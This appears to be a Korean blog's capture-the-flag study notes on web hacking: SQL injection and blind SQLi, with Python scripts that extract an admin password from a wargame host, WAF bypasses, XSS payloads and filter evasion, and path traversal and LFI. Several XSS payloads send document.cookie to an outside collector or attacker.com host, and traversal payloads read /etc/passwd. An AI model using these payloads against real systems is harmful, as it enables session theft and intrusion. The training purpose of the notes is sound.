반응형
<sql injection>
user id
' or 1=1 --
구문 or 1=1 주석
' or 1=1 limit 1,0 -- 1
<union select sql injection>
idx=게시판 넘버
idx=-1 union SELECT 1,2,3 (게시글 값 변경)
idx=-1 union SELECT 1,password,3 form users where id="admin"
(2번란에 admin 패스워드 출력)
<컬럼수 찾기>
' union select 1,2,3 -- 1 (3개의 컬럼)
<sql subquery>
idx=-1 union SELCET 1,(SELECT user_pw from users where id=admin),3
idx=-1 ' union SELCET 1,(SELECT 1 from information_schema.tables limit 1,1),3
- mysql,maria db, oracle (db 정보 추출, 테이블, 컬럼)
- 사용자 인증 우회:
- OR 1=1은 항상 참이므로 모든 사용자 계정에 접근 가능.
- --는 SQL의 나머지 부분을 주석 처리하여 비밀번호 확인을 우회.
' OR 1=1 --
- 예시 쿼리:
- 결과적으로 데이터베이스의 모든 사용자 정보가 반환될 수 있습니다.
SELECT * FROM users WHERE id = '' OR 1=1 -- AND pw = '...';
UNION SELECT SQL Injection
데이터베이스의 특정 테이블과 컬럼 값을 추출.
- UNION SELECT를 사용하여 원하는 데이터를 덧붙여 출력.
idx=-1 UNION SELECT 1,2,3;
- 데이터 추출:
- admin 계정의 패스워드가 출력됨.
- idx=-1 UNION SELECT 1,password,3 FROM users WHERE id="admin";
컬럼 개수 찾기
- 컬럼 개수 확인 절차:
- 가능한 컬럼 수를 늘려가며 확인:
-
' UNION SELECT 1 -- (에러 발생) ' UNION SELECT 1,2 -- (에러 발생) ' UNION SELECT 1,2,3 -- (성공)
- 에러가 없는 상태에서 컬럼 개수 확인 가능.
SQL 서브쿼리 (Subquery)
- 쿼리 내에 또 다른 쿼리를 포함하여 특정 데이터 추출.
- 예제:
- admin 계정의 패스워드가 출력됨.
-
idx=-1 UNION SELECT 1,(SELECT user_pw FROM users WHERE id='admin'),3;
- 데이터베이스 정보 추출:
- 데이터베이스의 테이블 이름을 추출.
-
idx=-1 UNION SELECT 1,(SELECT table_name FROM information_schema.tables LIMIT 1,1),3;
데이터베이스 유형에 따른 테이블 및 컬럼 탐색
- MSSQL:
- sys 테이블 사용.
- MySQL, MariaDB, Oracle:
- information_schema를 통해 테이블 및 컬럼 정보 확인.
- SQLite:
- sqlite_master 테이블 사용.
- 컬럼 개수 찾기:
- UNION SELECT를 이용하여 정확한 컬럼 개수 확인.
- 데이터베이스 정보 확인:
- 테이블 및 컬럼 이름 추출:
SELECT table_name FROM information_schema.tables;
- 테이블 및 컬럼 이름 추출:
- 플래그 데이터 추출:
- 데이터베이스에서 특정 플래그 값 추출:
SELECT * FROM table_name WHERE flag LIKE 'K0{...';
- 데이터베이스에서 특정 플래그 값 추출:

2.Blind_SQL_injection.pdf
0.87MB
<blind sql injection>
쿼리 실행값을 response으로 사용 할수 없을때 사용
Time based, bloolean based
bloolean based
1. leak length
'admin' and length(password)=n(글자) --
2. leak characters
ascii 값기반
'admin' and ascii(substr(password,n번째,1)) = 65//이게 A --
3. python을 이용한 자동화
request 모듈 이용
Time based
sleep(), benchmark()
응답시간 조절
'admin' and length(password)=n and sleep(5) --
즉각적인 응답 = 거짓
5초후 응답 = 참

<time based>
import requests # requests 모듈
import time
def check_length(url):
for num in range(1, 101):
param = {
"username": f"admin' and if(length(password)={num}, sleep(5), 0) -- ",
"password": "123"
}
start_time = time.time()
res = requests.post(url, data=param)
elapsed_time = time.time() - start_time
if elapsed_time >= 5:
return num
def find_char(url, length):
string = ""
for n in range(1, length + 1):
print(f"{n}번째 문자 탐색")
for k in range(32, 127): # ASCII printable characters
param = {
"username": f"admin' and if(ascii(substr(password,{n},1))={k}, sleep(5), 0) -- ",
"password": "123"
}
start_time = time.time()
res = requests.post(url, data=param)
elapsed_time = time.time() - start_time
if elapsed_time >= 5:
string += chr(k)
print(string)
break
return string
url = "http://war.knock-on.org:10029/login"
length = check_length(url)
print(f"Password length: {length}")
find_string = find_char(url, length)
print("Admin password : " + find_string)
공격 유형
Boolean-based Blind SQL Injection
- 참/거짓(Boolean)을 기반으로 데이터 추출.
- 쿼리 실행 결과가 참이면 특정 동작(예: 로그인 성공), 거짓이면 다른 동작(예: 로그인 실패)을 확인.
공격 절차
- 길이 추출 (Leak Length):
- 비밀번호 길이가 n이면 참(True), 아니면 거짓(False).
- 'admin' AND LENGTH(password) = n --
- 문자 추출 (Leak Characters):
- 비밀번호의 n번째 문자의 ASCII 값이 65(A)면 참, 아니면 거짓.
-
'admin' AND ASCII(SUBSTR(password, n번째, 1)) = 65 --
결과 예시
- 비밀번호가 "K0{"라면:
- 첫 번째 문자: 'admin' AND ASCII(SUBSTR(password, 1, 1)) = 75 -- → 참 (K)
- 두 번째 문자: 'admin' AND ASCII(SUBSTR(password, 2, 1)) = 48 -- → 참 (0)
- 세 번째 문자: 'admin' AND ASCII(SUBSTR(password, 3, 1)) = 123 -- → 참 ({).
Time-based Blind SQL Injection
- 쿼리의 실행 시간을 기반으로 데이터 추출.
- 참일 때만 지연 함수(SLEEP() 또는 BENCHMARK()) 실행.
공격 절차
- 길이 추출 (Leak Length):
- 비밀번호 길이가 n이면 5초 지연, 아니면 즉시 응답.
- 'admin' AND LENGTH(password) = n AND SLEEP(5) --
- 문자 추출 (Leak Characters):
- 비밀번호의 n번째 문자가 A일 경우 5초 지연.
-
'admin' AND ASCII(SUBSTR(password, n번째, 1)) = 65 AND SLEEP(5) --
Python 코드
Boolean-based Blind SQL Injection
import requests
url = "http://example.com/login"
for length in range(1, 21): # 최대 비밀번호 길이를 20으로 설정
payload = f"'admin' AND LENGTH(password) = {length} --"
data = {"username": payload, "password": "test"}
response = requests.post(url, data=data)
if "Welcome" in response.text: # 참일 경우
print(f"Password length is: {length}")
break
Time-based Blind SQL Injection
import requests
import time
url = "http://example.com/login"
for ascii_value in range(32, 127): # ASCII 문자 범위
payload = f"'admin' AND ASCII(SUBSTR(password, 1, 1)) = {ascii_value} AND SLEEP(5) --"
data = {"username": payload, "password": "test"}
start = time.time()
response = requests.post(url, data=data)
if time.time() - start > 5: # 5초 지연 확인
print(f"First character is: {chr(ascii_value)}")
break
[Web Hacking] 3. SQL Injection WAF bypass - YouTube
DB에 없는 문자열, 화이트리스트에 없는값이 전달되었을때
응답을 drop 시켜 해당값 사용할수 없도록 작동
'는 \로 우회
id = '\'
pw = or 1=1 --1
hyphen bypass 주석 우회
-- 주석은 #와 같다
white space 스페이스 우회
/**/는 스페이스와 같다
and, or bypass
or ||
and &&
IN pass
id in ("admin")
id='admin'
1 like 1
1=1
substr() = substring(), mid(), left(), right(), lpad()
ascii() = ord(A) or hex(A)
SLEEP() = BENCHMARK()
우회 기법
특수문자 우회
- 작은 따옴표('):
- \(이스케이프)로 우회:
-
id = '\' pw = ' or 1=1 --1
- 결과적으로 주석(--)으로 나머지 쿼리 무시.
- 주석 우회:
- MySQL에서는 #도 주석 처리 가능:
-- (주석) # (MySQL 주석)
- MySQL에서는 #도 주석 처리 가능:
공백 우회
- 화이트스페이스(Space):
- SQL에서 공백 대신 /**/를 사용:
SELECT/**/password/**/FROM/**/users/**/WHERE/**/id/**/=/**/'admin'
- SQL에서 공백 대신 /**/를 사용:
논리 연산자 우회
- OR, AND:
- OR 대신 ||, AND 대신 && 사용 가능:
-
id = 'admin' || '1=1'
IN 연산자 우회
- IN 연산:
- id='admin'과 동일:
id IN ('admin')
- id='admin'과 동일:
비교 연산자 우회
- 숫자나 문자열 비교를 우회:
- 1=1은 항상 참.
- 1 LIKE 1도 항상 참.
문자열 조작 우회
- 문자열 함수 대체:
- SUBSTR() → SUBSTRING() / MID() / LEFT() / RIGHT()
- 예제:
-
SELECT SUBSTRING(password, 1, 1) FROM users WHERE id='admin'
- ASCII 값 대체:
- ASCII() → ORD() / HEX():
SELECT ASCII('A'); -- 65 SELECT HEX('A'); -- 41
- ASCII() → ORD() / HEX():
시간 기반 우회
- SLEEP() 대체:
- SLEEP() 대신 BENCHMARK() 함수 사용:
-
'admin' AND LENGTH(password)=n AND BENCHMARK(1000000,MD5(1)) --
- BENCHMARK()는 지정된 작업을 반복하여 서버에 부하를 주는 방식.
onerror envent handler
<img src="a.png" onerror=alert(1)>
이미지 뿐만 아니라 오디오, 비디오 다양하게 가능
onerror = onforcus+autoforcus
url script
<img src="javasctipt:alert(1)">
waf baypass
string filtering
data.replace(/script/gi, ' ');
해당 스크립트로 인해서 script라는 코드가 공백으로 바뀜 이를 우회하는법
<scrSCRIPTipt>alert(1)</scrSCRIPTipt> -> <script>alert(1)</script>
if(user_input.include('<script>')) return false;
해당 코드는 대소문자를 구별하지 않으므로 다음과 같이 우회가 가능함
<SCRIPT>alert(1)</SCRIPT> -> true
<scr<script>ipt>alert(1)</scr</script>ipt>
<url nomalization>
/를 이용해 우회
또는 \x, \u를 이용한 hex우회
.(dot) 우회
location.href -> location['href']
() 우회
alert(1) -> alert'1'
<SCRIPT>
let str = "locatio" + "n";
window[str].href='https://nxmjvyc.request.dreamhack.games/'+document.cookie;
</SCRIPT>
K0{you_4r3_th3_b3st_h4ck3r!} 5.4 xss_WAF_4 250
<input type="" name="1" onfocus=location.href="https://nxmjvyc.request.dreamhack.games/"+document.cookie autofocus>
K0{ne3w_j34n5_1s_g0d} 5.1 xss_WAF_1 100
XSS 주요 기법
onerror 이벤트 핸들러
- onerror는 리소스 로드 중 오류가 발생했을 때 실행되는 이벤트 핸들러로, 다양한 태그에서 악용 가능.
<img src="a.png" onerror="alert(1)">- 적용 가능한 태그:
- <img>, <audio>, <video>, <body>, <object> 등.
<audio><source src="1" onerror="javascript:alert(1)"></audio> <video><source src="1" onerror="javascript:alert(1)"></video>
URL 기반 XSS
- URL에 javascript:를 포함해 악성 페이로드를 실행.
<img src="javascript:alert(1)">
onfocus + autofocus
- onfocus와 autofocus 조합으로 사용자 입력 없이 자동으로 스크립트 실행 가능.
<input type="text" onfocus="alert(1)" autofocus>
WAF Bypass 기법
문자열 필터링 우회
(1) replace 필터링 우회
- WAF가 특정 문자열을 필터링할 경우 대소문자 변형 또는 태그 분할로 우회.
- 예제:
- 필터링 규칙: <script> → 공백으로 대체.
<scrSCRIPTipt>alert(1)</scrSCRIPTipt>
(2) 대소문자 구별 필터링
- 대소문자를 구별하지 않는 필터링을 우회:
-
<SCRIPT>alert(1)</SCRIPT> <scr<script>ipt>alert(1)</scr</script>ipt>
(3) 태그 필터링 우회
- <script>를 필터링해도 다른 태그로 우회 가능:
<video src="1" onerror="alert(1)"></video>
URL 정규화 우회
- 브라우저는 URL을 처리하기 전에 특수 문자를 정규화.
- 우회 방법:
-
javascript:\x61lert(1)
-
javascript:\u0061lert(1)
-
특수문자 필터링 우회
(1) 마침표(Dot) 우회
- 마침표(.)를 제거하는 필터링을 우회:
location['href'] instead of location.href
(2) 괄호 필터링 우회
- 함수 호출 괄호를 제거한 우회:
alert'1' 대신 alert(1)
3. 실전 공격 시나리오
쿠키 탈취
- 악성 스크립트를 삽입하여 관리자의 세션 쿠키 탈취.
-
<script> let str = "locatio" + "n"; window[str].href = 'https://attacker.com/' + document.cookie; </script>
입력 필드 기반 공격
- 입력 필드에 스크립트 삽입:
sop, cors
same origin policy origin 포트, 포르토콜. 호스트가 같은경우
다른경우: cross origin
sop에 의해 타 웹사이트 쿠키를 탈취 불가
corss-origin resource sharing
sop에 예외 규칙을 추가하여 cross origin에 공유 할수있도록 함
1. Same Origin Policy (SOP)
- Same Origin Policy(SOP)는 웹 브라우저의 보안 정책으로, 동일 출처(origin)에서만 리소스를 공유할 수 있도록 제한합니다.
- 동일 출처란 프로토콜, 호스트(도메인), 포트 번호가 모두 같은 경우를 의미
동일 출처의 조건
출처(origin)는 다음 세 가지 요소로 정의됩니다:
- 프로토콜: HTTP 또는 HTTPS 등.
- 호스트: 도메인 이름(예: example.com).
- 포트 번호: 기본적으로 HTTP는 80, HTTPS는 443.
- 동일 출처:
- 다른 출처:
- 프로토콜이 다름: http://example.com vs. https://example.com
- 호스트가 다름: https://example.com vs. https://api.example.com
- 포트 번호가 다름: https://example.com:443 vs. https://example.com:8080
기능
- 보안 목적: SOP는 웹 애플리케이션 간 데이터 도용을 방지합니다.
- 한 웹사이트가 다른 도메인의 쿠키, 로컬 스토리지, 세션 스토리지에 접근하지 못하도록 제한.
- example.com에서 api.example.com의 데이터를 직접 요청하는 것을 차단.
SOP와 Cross-Origin Resource Sharing (CORS)
SOP는 보안에 강력하지만, 다음과 같은 합법적인 크로스 도메인 요청도 제한할 수 있습니다:
- 다른 도메인에 호스팅된 API 호출.
- 외부 리소스(이미지, 스크립트, 스타일시트 등) 사용.
Cross-Origin Resource Sharing (CORS)
- CORS는 SOP의 예외 규칙으로, 서버가 특정 출처에 대해 리소스 공유를 허용하도록 설정할 수 있습니다.
- 기능:
- 브라우저가 다른 출처의 리소스 요청을 허용할 수 있도록 서버가 응답 헤더를 통해 권한을 부여.
File Download Vulnerability
- 파일 다운로드 취약점은 웹 애플리케이션에서 사용자 입력을 통해 파일을 다운로드할 때, 적절한 검증 없이 경로를 처리하여 민감한 파일에 접근할 수 있는 문제를 말합니다.
- 공격자는 다운로드 기능을 악용해 서버의 민감한 파일을 다운로드할 수 있습니다.
- 정상적인 파일 다운로드
- 예: http://example.com/download?file=example.txt
- 서버가 file 파라미터 값을 받아 특정 디렉토리에서 파일을 검색하고 반환.
- 예: http://example.com/download?file=example.txt
- 악의적인 파일 다운로드
- 공격자는 file 값에 디렉토리 경로를 조작하여 서버의 다른 파일에 접근:
-
- 서버가 경로 검증을 수행하지 않으면 /etc/passwd 파일이 다운로드될 수 있음.
경로 조작
- Directory Traversal (디렉토리 경로 조작):
- ../를 사용해 상위 디렉토리로 이동.
- ../../etc/passwd
- Encoded Payload (인코딩 페이로드):
- URL 인코딩을 사용해 필터링 우회:
..%2F..%2Fetc%2Fpasswd
- URL 인코딩을 사용해 필터링 우회:
- Null Byte Injection:
- 특정 언어에서 파일 확장자 검증 우회를 위해 널 바이트(%00) 삽입:
../../etc/passwd%00.txt
- 특정 언어에서 파일 확장자 검증 우회를 위해 널 바이트(%00) 삽입:
Local File Inclusion (LFI)
- LFI는 로컬 파일을 포함할 수 있는 취약점으로, 파일 다운로드 취약점과 비슷하지만, 파일을 포함하여 실행할 수 있다는 점에서 차이가 있습니다.
- 공격자는 LFI를 통해 PHP 코드 실행, 민감 정보 탈취, 로그 파일 등을 악용할 수 있습니다.
- PHP 파일 포함:
- include(), require() 함수가 사용자의 입력값으로 파일 경로를 처리할 때 발생.
-
<?php $file = $_GET['page']; include($file); ?>
- 악의적 입력:
- 공격자가 ../../와 같은 경로 조작을 통해 다른 파일을 포함:
반응형
'Security > CTF' 카테고리의 다른 글
| 8.1 SSTI - server flag (0) | 2025.01.22 |
|---|---|
| 3.3 SQLi_WAF_3 (0) | 2025.01.22 |
| 3.1 SQLi_WAF_1 (0) | 2025.01.22 |
| 6. XSS - mitigations (0) | 2025.01.20 |
| 3.2 SQLi_WAF_2 (0) | 2025.01.20 |